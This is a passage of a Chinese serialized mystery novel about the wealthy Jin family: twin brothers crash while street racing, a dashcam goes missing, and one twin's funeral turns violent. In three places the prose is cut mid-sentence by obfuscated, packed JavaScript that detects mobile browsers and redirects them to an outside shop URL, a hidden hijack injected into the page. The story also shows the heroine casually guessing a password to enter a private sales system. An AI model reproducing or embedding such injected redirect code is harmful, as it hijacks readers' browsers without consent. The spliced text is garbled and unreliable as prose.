这下,何玥的双眼更红了。 只听哐啷一声,是碗筷掉落的声音,金诺群和金诺宇猛地站起身。 金诺群:“不就是做寿吗?我们能搞定。” 何玥:“你们怎么搞定?依我看,现在这种情况,就不要搞什么大动作了,低调点买个蛋糕吃了得了。” 严少敏:“你敢?” 金诺宇:“奶奶,妈,你们放心。我和哥有办法。” 说完,两人起身离开了会所。不多时,大门传来超跑发动机的轰鸣声。 24. 茶匙 024 何玥感到挫败。 她一边想要去追自己的两个儿子,另一边又要看严少敏的脸色,明明心中有诸多委屈和愤怒,却不敢坚定自己的立场,生怕一个不小心和严少敏撕破了脸,一家人难堪。 她无处发泄,转头看向司马荷生。 司马荷生的气质和态度向来温吞如水,最擅长打太极,光是刚才一句不要脸的“我太笨”就将责任全部化了出去。不,也不能完全这么说,核心原因还在于司马家有钱,叹世界的创始资金就是从司马家来的。司马荷生随便说句回家,忙家族事业,便能把金家的事情高高挂起,就连严少敏也只是哼唧两句,不敢多说。 说白了,还是吃人的嘴软,拿人的手短。 论资排辈,排在何玥底下的不只司马荷生,还有肖月娥和老四的妻子袁虹霞。 肖月娥没什么学问,胜在长了个砂煲一样大的胆。金少立靠卖碗仔翅立稳了脚跟后,肖月娥是最先靠上来的。她瞒着当时还活着的老五金耀立,拿着所有的积蓄一个人悄悄偷渡来了裴岛。 她不喜欢厨房,在老家时就已经习惯了将家务事推得一干二净。当然,能这么做的前提是,她有一个百试不灵的借口,其中用得最多的是:我要出去摆摊,去卖衣服挣钱。 到了裴岛之后,肖月娥自然也不会往厨房里钻。 那时候的裴岛身份并不难拿,只要有落脚的地方,有人担保,便可以拿到身份证。拿到身份证之后,肖月娥做的第一件事就是找了家制衣工厂,然后骑牛找马,腾挪跳槽加薪之后,她来到了当时裴岛最大的制衣厂,司马伯爵,岗位是初级服装销售专员。 肖月娥自然不会满足于初级二字。她凭着自己的胆识和小聪明混得风生水起,一路从销冠做到了销售经理。挣的钱多了,严少敏也不得不对她客客气气。 本该地位最低的肖月娥和司马荷生破格飞升,金家内部的牛马角色便顺理成章地落到了排第四的袁虹霞以及排第三的自己的头上。 想到这,何玥含着两泡眼泪,发狠似地拿筷子戳向满满的白米饭,心中骂道:袁虹霞这家伙,是卖身给司马伯爵了吗?怎么现在还不回家?还有,找工作就找工作吧,叹世界那么多的岗位,她一个金家四嫂跑去给六婶干活算怎么回事? 和肖月娥不同,袁虹霞并不是一来到裴岛就跑去给司马荷生打工的。 大约十五年前,老四金文立犯了错,进了牢房,袁虹霞又没有孩子,呆在家里闷到抑郁,便由二嫂曾秀芬推荐,到司马伯爵当起了采购。 那时候的司马伯爵已经由司马荷生接手。它的风气同她老板一样,只做事,不看人。闲言碎语和勾心斗角少了,能忙的事情多了,袁虹霞的情况也渐渐好起来,从此赖上了司马伯爵。 何玥恨曾秀芬和袁虹霞。 她在金家的地位本来就不高,垫背的又趁机跑了,严少敏能使唤的也就只剩她一人了。 她一边戳着碗筷,一边对严少敏说:“以前这些事情四婶都有参与的,怎么今天晚上还不见她身影?采购的工作有这么忙吗?” 严少敏没有接话,只顺着话头看向司马荷生,用目光责备她这个老板不放人。 她这句话忘了指名道姓,司马荷生只佯装没看见,没听见,继续吃自己的。 说曹操曹操到,一直不见人影的袁虹霞终于回来了。她连提包都来不及放下,就先走到严少敏身边打招呼。 严少敏显然不吃这一套,只粗重地“嗯”了一声,问她:“有这么忙吗?” 袁虹霞说话温声细语的:“刚回来了一批新料子,本打算抽检入库就下班的,可最近消防查得紧,要赶在明天检查之前将新的消防器材全部换上,一不小心就忙到了现在。” 何玥:“怎么采购经理还要管消防?这不是行政那边该做的工作吗?” 不等袁虹霞开口,司马荷生便答道:“三嫂,这件事你可得帮我劝劝。之前消防检查没那么严格的时候,确实是由采购来兼职处理的。但现在消防要求上来了,工作量变大了,我也想将职能分出去。只可惜,四嫂实在是太敬业了,完全没有行政部插手的空间。” 袁虹霞笑着说:“反正我已经兼岗多年了,也不差这么点功夫。” 何玥:“什么叫做不差这么点功夫?现在都几点了,你要是不用兼岗消防安全的事,你早就可以下班了。人家给自己家打工都是打得逍遥自在的,偏你一个往马圈上头凑,那么多员工都不懂得使唤。” 司马荷生:“三嫂说得对啊,是我考虑不周了。” 这下,轮到袁虹霞哭丧起了脸:“不不不,安全生产这种事情还是交给自己人比较妥当,三嫂又不工作,怎么会知道这当中的门道……哎呀!” 袁虹霞似乎意识到自己说错了话,急忙捂嘴,用她那小鸟唱歌一般的声音轻轻地说:“看我这张嘴……三嫂不要生气,我有时候说话就是这么不过脑子的。六婶都说我好几回了,我就是没记住。” 童鸢在一旁边吃边听,好奇老太太接下来会说什么。 严少敏说:“什么消防,什么职能,那不是我应该关心的。我只关心,今年的大寿,你们打算怎么办?” 这话一出,平原大战瞬间转为地下战。何玥和袁虹霞的视线顿时纠缠在一起,但谁也不肯先亮剑。良久,袁虹霞终于说:“听二嫂和大嫂的意思,肯定是要好好办一下的。” 何玥:“四嫂,你该不会还没听说今天发生的事情吧。也对,你男人还在监狱里。” 童鸢倒吸一口凉气,视线扫了眼袁虹霞,最后落在严少敏身上。 严少敏不为所动,没有制止,也没有回答,似乎蹲监狱的全然是个陌生人,只一心一意地看着袁虹霞。 袁虹霞:“那便请人到家里来办。” 严少敏满意了,动起了筷子。 何玥:“家里办也不可以。” 严少敏再次放下筷子。筷子径直戳进碗底,发出铿锵一声。 “二嫂其实已经有安排,我们跟着做就好了,你为什么这么不情愿?”袁虹霞声线轻柔,看上去低眉顺眼,话里话外却都藏了硬骨头。 何玥早就在爆发的边缘,眼下更控制不住情绪,说:“出事的不是你老公,你自然这么说!你们这群,这群!” 她群了半天,一路群到严少敏脸上,最后没了下文,一拍桌子走了。 餐厅门在她身后合上的瞬间,她听到严少敏说:“吃饭吧,家和万事兴。” 吃吃吃吃吃吃,一天到晚就知道吃,总有一天吃死你这个死老太婆。 何玥咬紧下嘴唇,啪嗒着短靴,一路燃烧着怒火回了自己的别墅,踩上二楼主卧的大阳台。 每当生气的时候,她总喜欢走到主卧的大阳台上吸烟。正常情况下,只要吸上一根,她便能感觉到身心舒畅,暂时将烦恼抛到一边。可今天不一样。 她只要稍一侧身便能看到金少立别墅的那个客卧阳台。 那里住着鬼魂。而这鬼魂偏偏带了个“鸢”字。 这个字是带着诅咒的,一来准没好事。都怪那个人起的晦气名字。 严少敏那老不死难道就没有觉察到什么不对劲吗?还有袁虹霞那个忘恩负义的,难道她也不记得了?怎么刚才一点反应都没有? 何玥越想越烦躁,直接拨通了手机上的语音电话:“我让你查的人查得怎么样了?” 对面有些无奈:“姑奶奶,我们是私家侦探,又不是FBI,没那么快,再给我三天时间……” 何玥不等他说完,直接把手机摔了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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事发地点是有着裴岛玫瑰发夹之称的临崖车道。金诺群兄弟和他们的车被发现侧翻在下坡路段。 何玥赶到市一的时候,两人刚从抢救室里出来,被送进了ICU,和他们亲爱的六叔只隔了一层楼。 何玥六神无主,只知道哭。调查人员无计可施,只能从她的手机上挑了个眼熟且行动自由的,最终挑到了司马荷生头上。 司马荷生看上去温吞,做起事来却分外利索。她刚挂断电话,便拿起提包走向车库。童鸢跟了上去:“司马夫人,需要帮忙吗?” 司马荷生一愣,刚要拒绝,转头又说:“你找阿贤,让他给两位堂兄准备些日用品和换洗衣物,送过来。希望能用得上吧。” 等童鸢和金诺贤带着行李袋匆匆赶来,何玥和司马荷生正在家属谈话室里听调查员说话。 调查员问何玥:“两位公子之前有和人飙车的习惯吗?” “应该是……有的吧,他们喜欢跑车,”何玥刚说完,又连忙补充道,“但他们没有非法赛车,都是在合规路段进行的。” 调查员看了何玥一眼:“笔帽山并不属于合规路段,也不在赛事期间,两位公子这种行为是违法的,你知道吗?” 何玥:“你说这话是因为他们开的是超跑吗?你怎么能一口咬定他们就是在飙车呢?” 调查员取出现场照片,放到桌子上,推到何玥等人面前,说:“从刹车痕迹来看,车祸发生时的车速已经超过了两百。这,就是飙车。” 何玥愣愣地看着那一道道黑色的车辙,只长大了嘴巴,哑口无言。 童鸢站在司马荷生身后,观察着桌上的图片,问调查员:“现场应该还有别的车辆吧?从上面的车辙看来,好像不只一辆车。” 何玥即刻抬起头来:“对,对对对,他们不可能无缘无故超速驾驶的,一定是有什么误会!” “这正是我们想要了解的,”调查员说,“他们去笔帽山之前有没有表现出什么异样?” “异样?”何玥看着两位事故调查员,“比如说?” “比如说……他们有没有约了谁?我们发现事故车辆的时候,上面的行车记录仪不见了。” 25. 茶匙 025 “怎么会不见了呢?”何玥整个人都像飘在云端,无论对方说什么话,她都要重复一遍。 “确实是不见了。”调查员说,“另外,座椅靠背和车门把手都有明显的擦拭痕迹,现场也没有找到两位公子的手机,不排除是拿走行车记录仪的人干的。所以如果你们知道些什么,请告诉我,这对事故调查会有很大的帮助。” 要说异样,童鸢只记得金诺宇在离开别墅之前,跟他奶保证,他和他哥有办法确保大寿如期举办。 从这一点出发,童鸢只能想到昨天那场风波。 调查员问何玥:“关于她们的人际关系,你有想起什么吗?包括他们一起玩车的人,什么线索都可以。” 何玥的双手悄悄缩回到桌子底下,在阴暗的角落里,童鸢看到她拽紧了熨得笔挺的衣摆。 “我……”何玥摇头,“我不太清楚。” 调查员认真地看着何玥的双眼,将她的双手看得越发紧张。就在她快要把衣服抓烂的时候,调查员终于起身:“谢谢你们,我们会继续调查,有什么事情会随时联系你。” 说完,两位调查员便拿起手上的资料,往门外走去。就在这时,何玥站起身来,叫住了他们:“如果……我说如果,这场事故是人为的,始作俑者万一被抓住了,他会面临怎样的惩罚。” 调查员互相看了一眼,说:“目前还不能给你明确的答案,但如果确实是人为的,对方应该算是肇事逃逸,量刑不会轻,请你放心。” “那我两个孩子呢?他们也会受罚吗?” “理论上……是的,不管是不是意外。” 何玥身体紧绷,直挺挺地倒回到椅子上。司马荷生安慰她:“三嫂,现在最重要的是诺群和诺宇能醒过来,其他的我们可以从长计议。” “对对对,你说得对,”何玥鲜有地认同司马荷生的说法,拼命点头,下一秒,她又像中了邪似的,抓着司马荷生的衣袖,问她,“培立呢?他是不是还在调查局,什么时候能出来?我需要他。” 司马荷生蹲下身,柔声说道:“侦查局那边找到了一些证据,对他很不利,如果无法马上洗清嫌疑的话,他们大概率没那么快放他走。” “可他的两个儿子快死了!他是孩子的爸爸,侦查局难道就不能放他出来看一眼自己的孩子吗?” “三嫂……” 也许是童鸢的错觉,她感到司马荷生的眼神从原本的柔情突然变得锐利,尽管她的声音是那么的轻柔。 她对何玥说:“现在医术昌明,诺群和诺宇不一定会死。可三哥所涉及的案子,可是死了不少人呐。那孩子啊,才十九岁。不对,还有一个九岁的,也不对,可能还有更小的。也许是我们不知道的,也许是我们都忘了。三嫂,你有印象吗?” 司马荷生的声音阴森森的,叫何玥浑身颤抖。 她一把推开司马荷生:“不,培立他不能有事。” 司马荷生:“三嫂,你要是知道什么,请一定要告诉我。我说了,我会给你找全裴岛最好的律师,也一定会给你一个合理的结局。” 可无论说什么,何玥都听不进去。她发了疯似地摇头,随后冲出了谈话间,冲向ICU的方向。 金诺贤由始至终都没有说话。他只拿着旅行袋,静静地站在一旁。他指望不上不成熟的三嫂,只能将旅行袋交给护士,等两位堂哥从ICU出来,再将东西转交给护工。 不算宽敞的谈话间内只剩下童鸢和司马荷生两人。 清冷的空气里,司马荷生的锐利被稀释,转眼间便又是那副温吞低调的模样。她对童鸢说:“抱歉,见笑了。” “啊……人之常情。”童鸢指的是何玥的态度和话语。 司马荷生将嘴角一挑:“也是。” 如司马荷生所料,叹世界高层“协助”调查的时间比金诺贤那次还要长。 金诺贤被关着问了二十四小时,金培立和金恒立等人则过了两天才被放出来。 金诺群和金诺宇一直躺在ICU里,何玥不眠不休地在医院里陪着,直到金培立出现在她面前,她彻底崩溃,晕了过去。 这边,生死是头等大事,另一边,叹世界和司马伯爵还有上万张嘴等着吃饭。一时间,金家上下忙得不可开交,除了局外人一样的童鸢,被禁足的金诺贤,还有每天光是三顿饭就要耗上八个小时的老佛爷。 严少敏的脸色越来越冷峻。 来饭桌上吃饭的人越来越少,少到了最后,她干脆每顿都派人来请。于是,童鸢和金诺贤就这样莫名其妙地成了会所餐厅里的常客。 虽说是常客,童鸢却极少和严少敏说话。严少敏对她也没什么兴趣,该问的不该问的统统不问,只是默默吃饭。金诺贤也没什么话说,只偶尔坐到童鸢身旁,有一搭没一搭地聊几句天。 第三天,周一,达摩山上的陌生车辆突然变多了。 出门换药的路上,童鸢认出了邝斯年的车。两人擦肩而过,童鸢一个掉头,敲开了邝斯年的车门,坐上了副驾。 刚一坐下,她就“嘶”了一声,条件反射地伸手捂住腰上的伤口。 邝斯年:“才几天,你就这么乱来?” 童鸢不客气地瞪了他一眼。 邝斯年:“你是要去哪里?这么快就上班?” “去换药,顺便检查。如果没什么大碍就该复工了,总不能让节目组等我一个。”童鸢说着,一抬眼就撞上邝斯年紧皱着的眉头,又说,“其实已经好很多了,就是最近有点痒,伤口附近也有种紧绷感,所以刚才才会那样。” 邝斯年的眉头总算是松开了些。童鸢这才问出自己真正想问的问题:“你是为了哪件案子来的?” 金家也是精彩,案子一件接着一件,邝斯年想了想,才说:“说不定是同一件案子。” 童鸢嗅到了话里的意思:“所以那两兄弟的事情果然和前面的案子都有关系?那不是简单的交通意外?” 也许是童鸢表现得过于兴奋,也许是邝斯年对她现在的处境还有所顾忌,他看着童鸢的脸,过了良久才“嗯”了一声。 他问童鸢:“你住进去之后,有没有留意到金诺群和金诺宇的人际关系?” 童鸢摇头:“金少立那一辈看上去是住在一起,也有约定逢周五一起吃饭,但这个约定形同虚设,基本上各顾各的,很少过问彼此的事。至于金诺群和金诺宇,我也只见过一次面。但我听阿贤说,他们毕业之后,金培立就给了他们兄弟俩一笔钱,让他们去做别的生意。至于具体是什么生意……大概是跟进口车买卖有关,跑车居多。” 邝斯年:“还是知道得不少的嘛。” 童鸢假装懵懂,趁机打听:“所以我知道的都对吗?” 和过去不同,邝斯年这次没有泼她冷水,反而问她:“那在你看来,什么样的人喜欢买进口车?而且是跑车?” “不缺钱的呗,”童鸢继续装无知,说,“最好是住豪宅的,需要到名利场上彰显身份的,将超跑当成社交货币的。当然,也不排除有像双胞胎那样的跑车爱好者……” “不对……”她把头一歪头,说,“金培立会是那种不计回报,纯给儿子爱好砸钱玩的人吗?” “你不说了吗?车子本身就是社交货币。像你现在开着的这台省油车是入不了那个圈子的法眼的。” “你的意思是,害金诺群和金诺宇的人就在那个圈子里?” “……”邝斯年眯起双眼看她,“你这次想打听什么?不如直说?” 啊,被识破了。 童鸢:“非要打听点什么才能跟你说话吗?我只是想叙叙旧。叙旧能聊什么,聊八卦啊。” 邝斯年:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987039|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你少来。” 童鸢也不装了:“你有权限,总能知道点什么吧。比如说从车辙辨别出轮胎,又从轮胎的型号找出对应的车型。再从车型的购买记录找到相关人员。别跟我说,你们侦查局连这点事都做不到。” 邝斯年的眼越眯越细:“你是不是又瞒着我做了什么危险的事?” “我有没有危险,你一看手机不就知道了吗?我都如此大方坦白了,你还不能安心?” “所以你到底做了什么?” “我不懂车,只是随手建了个小号,又随手发了张现场的照片到论坛上,自然有发烧友给我找到对应的车型。然后,我再顺藤摸瓜地翻了翻他们车行的销售记录……” 童鸢的声音越来越低,因为在这寥寥两句话里,她有意无意地透露出了一些不该透露的信息。 邝斯年的双眼终于睁大了:“你潜入金培立家?” “也不算潜入吧……也就昨天,金老三和他老婆都没空,我带金诺贤去医院送东西,理所当然地进他们屋里打了个包。金诺贤专心打包,我就顺手试了一下电脑密码,再顺手打开了销售系统后台……这不能怪我,谁让他们的密码那么简单……” “你啊你!他们可以告你的,你知道吗?” “不不不不,我只要说我是你的线人就行了,侦查局会保护我的,对不对?” 童鸢十分刻意地眨巴着她的一双大眼睛。 “所以你现在都知道了?” “嗯……每辆进口车买进裴岛,都需要报关纳税,系统里的信息完备得很。其中买过那个型号的,就只有两个人,一个人是刕康耀的儿子,还有一个……” “你最好假装什么都不知道,剩下的事情交给我们。” “你们如果已经查到销售记录,应该很清楚,折扣力度大得惊人。” “……不仅是这一件事,”邝斯年看着前方,“你之前找到的报价单果然有问题。” “你是说消防器材的报价单?” “没错。有问题的报价单不仅存在在柠檬果娱乐,还包括司马伯爵。” “司马伯爵?” 邝斯年鲜少主动提起案子的事,每次一提起,必定跟童鸢的切身利益有关。 他点点头,继续说:“司马伯爵负责消防器材的采购,你知道是谁吧。” “司马伯爵太低调,我也是刚知道,是金家四嫂袁虹霞。” “我们推断,有人在利用消防器材的销售渠道,吸着柠檬果娱乐和司马伯爵的血,而且很可能已经吸了很多年。然后再利用吸回来的血,去做别的事情,空手套白狼。你觉得……消防器材的事,司马荷生知道吗?” 童鸢的心漏跳了一拍。 无论多么不管事,假如按照找到的内部报价进行消防器材采购和整改,那都是一笔巨大的开销。司马伯爵的公司体量再大也不可能完全不引人注意。除非…… 童鸢咬牙。 她想起之前在采访中看到的一句话:在经历了多次增资扩产和内部架构调整后,司马荷生在集团内的股份和话语权被不断稀释,只保留了董事会席位,不再担任要职,从此专心经营司马伯爵。 这种退出到底是有意的还是无意的,在这一刻变得耐人寻味。 邝斯年:“小小,你明白我的意思的,对吗?” 童鸢:“她一定是有什么考虑的。也许……是真的不知道……” 邝斯年没有反驳,也没有追问,只拍拍她的手背,任由寂静将车内的空间包裹。 就在这时,一辆宾利从金家大门冲了出来,一路蛇形走位,差点撞上邝斯年的车。何玥的脸在驾驶座上一闪而过。 邝斯年的电话响起,传来刘毅的声音:“老大,金诺群救治无效,五分钟前宣布死亡。金诺宇突发心脏衰竭,现在正在抢救。” 26. 茶匙 026 大部分时间里,达摩山都是清幽寂静的,今日除外。 金诺群被接回家的时候已经是晚上十一点。灵堂就设在金培立家大厅。他刚到家,殡葬公司的人就来了,人头攒动,直到第二天都没有消停。 童鸢虽和金诺群只见过一面,但按照礼数,得下楼送他一程。 一大早,她从柜子里翻出一套黑色套装,跟在司马荷生身后,负责给来的客人递花。 金诺群死得突然,走得匆忙,不少宾客在人群中咬耳朵。 “这么急着下葬,也不等等?” “又不是死得光彩,有什么好等的?” “听说还有一个躺在医院里,还没脱离生命危险。” “唉,真是辛苦三嫂了。” “对了,你们都收到了吗?老太太的寿宴邀请函。” “上周收到的,现在这种情况,应该就不办了吧?” “呵,难说。” “你是不是知道些什么?” “按照严少敏这老太的德行……” 听墙角听到一半,突然没了声音,童鸢扭头看去,发现是严少敏本尊来了,难怪没人再敢吱声。 她的轮椅顺着特制的斜坡滚入大厅,停在了已被打点妥当的棺木前,浅浅看了一眼,手帕揩出两行眼泪。她朝身后的佣人摆摆手,佣人把她推上主人席。 此后,她一声不吭,连抹眼泪都是悄无声息的。 何玥原本站在棺木旁,也不跟人打招呼,只低头看着棺材里的儿子。直到严少敏进场,她才轻轻抬了抬眼皮。 金培立面容憔悴,走到何玥身旁,扶着她的肩膀,说:“下来吧,别站在那了,客人见了挺奇怪的。” 何玥没有说话,只狠狠瞪了他一眼,半推半就地离开了棺木,斜眼看着轮椅上的严少敏。 不多时,老二金恒立和他的夫人曾秀芬也来了。 这是叹世界游轮年会后,童鸢第二次和这两位伯父伯母见面。她认得他们的脸,但他们对于童鸢,却已没了印象。然而,也许是因为当日浓妆的缘故,也可能是因为今天没有化妆,随着脚步靠近,两人的脸色都出现了明显的异样。 他们的目光中先是透露出些许错愕和不可思议,接着紧张而担忧看向童鸢身旁的司马荷生。 如果说,前几天的那顿晚餐,金培立和何玥的错愕是意外,那么今天这两个人的表情又该作何解释? 而司马荷生作为母亲,难道就真的没有看出些什么吗? 童鸢默默捏紧了衣袖里的拳头,不敢去看她,只从篮子里拿出白色的百合,递到金恒立和曾秀芬手上。 “谢谢,”曾秀芬接过,“这位是?” 不及童鸢自我介绍,司马荷生回答:“我的客人,留下帮忙的。” 曾秀芬浅笑着点头,转身挽住金恒立的胳膊,往金培立和何玥的方向走去。 不多时,四嫂袁虹霞和五嫂肖月娥也来了,身后跟着金诺贤。袁虹霞和往常一样,低眉顺眼,只朝童鸢和司马荷生点点头。 自从段书艺那件事之后,肖月娥对童鸢就没有好脸色,今日依旧冷若冰霜。最反常的反倒是金诺贤,他没有嬉皮笑脸,见了童鸢也没有打招呼,只生硬地朝司马荷生喊了声六婶,便跟在肖月娥身后入座。 最后到场的是金家老大,金志立,叹世界集团的首席财务官。金少立躺在医院的这段时间里,公司上下事务都是他在打理。 他接过鲜花,看向司马荷生:“这位是六婶的客人?” 司马荷生:“是的。” 他顶着一头银白短发,看着童鸢,笑道:“谢谢,有心了。我们好像在游轮上见过,你是那位主持人?” 童鸢没想到他还记得,点头答是。对方也没再多问,走到金培立和何玥跟前,一一握手:“太突然了,你们大嫂还在哈兰照顾孙子,一时回不来,我代他们来送行。” 哈兰? 童鸢只知道金志立的儿子早年间就已经出国,没想到原来是去的哈兰…… “童童,”正想着,司马荷生拍了拍她的肩膀,说,“还有一分钟仪式就要开始,我们也过去吧。这段时间,家里的一切活动,你都留在我身边,好吗?我需要人帮我。” “啊……好。” 这个“好”字是真心的。 就在这时,门外车道传来汽车的声音。又有客人来了?童鸢和司马荷生只好又站回去。 一共两台车,分别下来了何炎彬,刕康耀,还有那位邝斯年不愿她提起的名人,钟子默,裴岛议员。 钟子默五十多岁,放在寻常行业里已是快要退休的年纪,可在裴岛的众多议员当中,却算年轻力壮。 他头发半白,在太阳底下显现出一种泛银的光。他戴着墨镜,两个嘴角往下耷拉,两边脸颊的肉更显下垂,哀伤而忧愁。 何炎彬和刕康耀也戴着墨镜,他们的哀伤并没有那么明显,紧抿着的双唇让人看不清他们的表情。 童鸢垂眸递上鲜花,悄悄观察身旁的司马荷生。 她手指纤长,捏着百合花茎,递到钟子默跟前,指节泛白。对方接过她的花,微微用力,司马荷生适时松开,对方的嘴角忽然有了些许裂痕。裂痕一闪而过,即刻被皱纹填满。 站在主人席上的金培立,脚已经踏出了一步,被身旁的何玥生生拽了回去。 何玥毫不掩饰哭肿了的双眼,狠狠地瞪着金培立。她的一双眼睛里布满血丝,红肿得如地狱恶鬼,任谁看了都觉得心惊。 金培立像是早已习惯,并未惧怕,也未有好脸色,他想要拉开何玥的手。 可何玥发了死力,他稍稍一动便扯得她左摇右晃,站在外人面前分外不好看。考虑到面子问题,他才作罢,没再挣扎,只笑着朝钟子默三人点头招手。 这一笑,叫何玥的眼神越发狠毒,几乎要把金培立的太阳穴凿出洞来。 钟子默三人朝他点头回礼,却并未往前排坐去,而是找了个靠近门口的闲散角落,拿着花坐下。 仪式正式开始,司仪拿起麦克风:“尊敬的来宾,今天我们怀着沉痛的心情……” 这句话仿佛拧开了开关,大厅内响起唏嘘的哽咽与哭泣声。告别仪式的悼词是客制化的,但基本都是遵循着同一个模版,大差不差。底下的哭泣声响着响着,却忽然多出了三分茫然,三分意外。 只听司仪念道:“他兢兢业业,把工作当做自己的生命,任劳任怨,无怨无悔。他爱戴黑手套,却为了这个家,为了他敬爱的父亲戴起了白手套……” 金培立眼珠斜斜转动,看向身旁的何玥。何玥没有看他,只看着司仪的侧脸,浅浅微笑,不复方才的狰狞。 “他希望他的家人可以记得,他所做的一切都不是为了自己,他从不是自私的人,他只是想……” 司仪大概也觉察到了不对劲,看向何玥,又看向金培立,一见他面露不悦,额边的汗便哗哗地流。 他看了最后一眼手机,抬头面向嘉宾,说:“他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17012590|190981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是想我们可以永远记住他的音容笑貌。下面进行遗体告别。” 何玥的笑容僵住了,圆瞪的双眼比刚才还要狰狞,这一次,轮到金培立抓住她的手腕。 他在她耳边说了什么,童鸢听不见,只看到金志文最先站了起来,随后是金恒立和曾秀芬,然后是肖月娥和金诺贤,最后便是司马荷生。司马荷生拍拍童鸢的手,示意她跟上。 童鸢跟着走到棺木前,将百合放到金诺群身边。她静静地看着他,觉得陌生又亲切。也许,她该叫他一声“哥”。 她不敢看太久,不过几秒钟的时间,再抬头时,便已迎上上百双探寻的目光。有人在猜测她和司马荷生的关系。 家属谢礼后,她依旧跟在司马荷生身后,看着她优雅笔挺的如同芭蕾舞者的身板,不敢主动上前说话,只静静地回到原来的位置上,和她并排坐着。 最后轮到钟子默三人。何炎彬和刕康耀上演了一场推拉谦让,不出意外地由钟子默先上前。 钟子默的动作十分别致,举花如上香,偏要将那扶风弱柳般的百合举过额头,轻轻一鞠躬,这才把花放到金诺群的头顶。 一般没有人这么放花的,何玥的眼睛瞪得几乎要掉下来。可她不能动,宾客又没有出大乱子,作为主人家,她只能忍着。 告别后的钟子默走到金培立和何玥跟前,握手。 翻转的手腕,微微上拉的西装衣袖,露出了那只名贵的白金手表。 何玥怔怔地看着那只表,怔怔地扭头看着自己的丈夫,怔怔地和钟子默握手。 童鸢不知道何玥正在想什么,她只知道,在那只手表彻底离开何玥的那一刻,有什么东西碎了。 遗体告别仪式后,童鸢随司马荷生坐上了家里的商务车,跟在灵车后面,前往火葬场。除了跟车的金培立,公司有事要提前离开的金志立,肖月娥和金恒立夫妇,金家所有人都坐着同一辆车。 司马荷生负责开车,童鸢很自然地坐到副驾上,身后是严少敏和何玥,剩下金诺贤和四嫂袁虹霞坐一排。 严少敏一直看着窗外,等车开出了达摩山,她忽然幽幽地问了句:“今天应该就能全部搞定了吧?” 车里鸦雀无声。过了许久,只有袁虹霞一人作答:“应该是可以的。就是刻碑可能得等一等。” 严少敏:“等一等是等多久?” “一周,半个月,都是有可能的。” “哦,那不碍事。” 后视镜里,童鸢看到了何玥紧抿着的嘴唇,以及永远看着窗外的双眼。 “家和万事兴啊。”严少敏喃喃道。 火葬场人潮汹涌,闹哄哄一片,即使是富贵如金家也得排队。 严少敏嫌空气不好,叫金诺贤将她推到种满了杜鹃的花园里,用刚揩过眼泪的手帕捂着鼻子,怕死了那浓烟,叫人窒息。 工作人员一通忙碌,司马荷生叫童鸢和袁虹霞一起站在远一点的地方,剩下的交给何玥和金培立,免得人多,碍事。 金诺群送来之后又要经过多道程序,才能被送进炉子。 过了许久,远远地,他们终于又见到了金诺群。他被一张不锈钢床推着,推进那小小的焦黑的房间里。 一整天未哭的何玥终于又涌出泪来,她呆呆地站在原地,一动不动。 她看着儿子被送进去,看着金培立背对着站在自己面前,看着即将关闭的大门。 那一刻,她突然生起千钧力量,抬起双手,将金培立推了进去。 27. 茶匙 027 金培立比何玥高大,天然具备力量优势。 在被推进去的一瞬间,他两手抓住不锈钢门框,两脚抵住地面,这才避免了买一赠一的火化服务。 何玥并未就此罢休,她发了狠地用力,大叫:“为什么死的不是你!” 她的声音穿透长廊,原本闹哄哄的现场霎时安静,无论是等候的家属还是捡骨灰的工作人员,全都侧目而视,看向她。 “你发什么疯?” 金培立被她推着,自己两手顶着,扭头喊道:“把我推进去对你能有什么好处?” 何玥咬着牙,哭喊:“该死的是你!” 金培立扭头看向一旁的工作人员:“他奶奶的,还愣着干什么?快来人帮忙啊!” 大概是没见过这样的场景,工作人员大张着嘴在旁边干瞪眼了许久,才被金培立骂醒,过来拉他的手臂。 严少敏和金诺贤被哭喊声吸引,看了过来。他们看到工作人员围上,将金培立和何玥分开。金培立高举着手臂,要去打何玥。 金诺贤:“奶奶,要过去吗?” 严少敏摆手:“吵架罢了。” 袁虹霞上前劝架,何玥避开了那一巴掌,发疯似的冲出了火化场。 袁虹霞左右为难,最后快步跟上,嘴上说:“我过去看看,我怕三嫂做傻事。” 工作人员看看金培立,见做主的人都疯了,只能看向一旁的司马荷生和童鸢,问:“还烧吗?” “烧!马上烧!”金培立大声说着,瞪向周围吃瓜的,仿佛在说,“看什么看?” 那些探寻的目光这才悻悻然缩了回去。 回到达摩山的时候已经是下午四点,何玥和袁虹霞依旧不见踪影。 按照习俗,参加完葬礼的人都需要洗头洗澡,到晚上再聚在一起吃饭。 童鸢身上有伤,虽然已经拆线,但还没有完全闭合,尚且有些发红。医生说,还得继续注意,不能沾水。所以,这段时间她都尽量避免洗头,但今天是不洗不行了。 她拿出保鲜膜,拉起上衣,侧过身体,对着镜子,艰难缠绕。 “童童。” 童鸢绕到背后的手一抖,整管保鲜膜滚到了地上,刚好停在司马荷生脚边。 司马荷生站在浴室门口,并未表现出丝毫惊讶,只弯腰捡起保鲜膜,说:“我就知道。” 童鸢愕然。所以这不是不小心,而是故意搞的突击? 司马荷生:“我来帮你吧。” “不不不不用……” 可司马荷生已经走到她身侧,微微弯腰,按住她的手:“这种事情,你可以找菲的。” 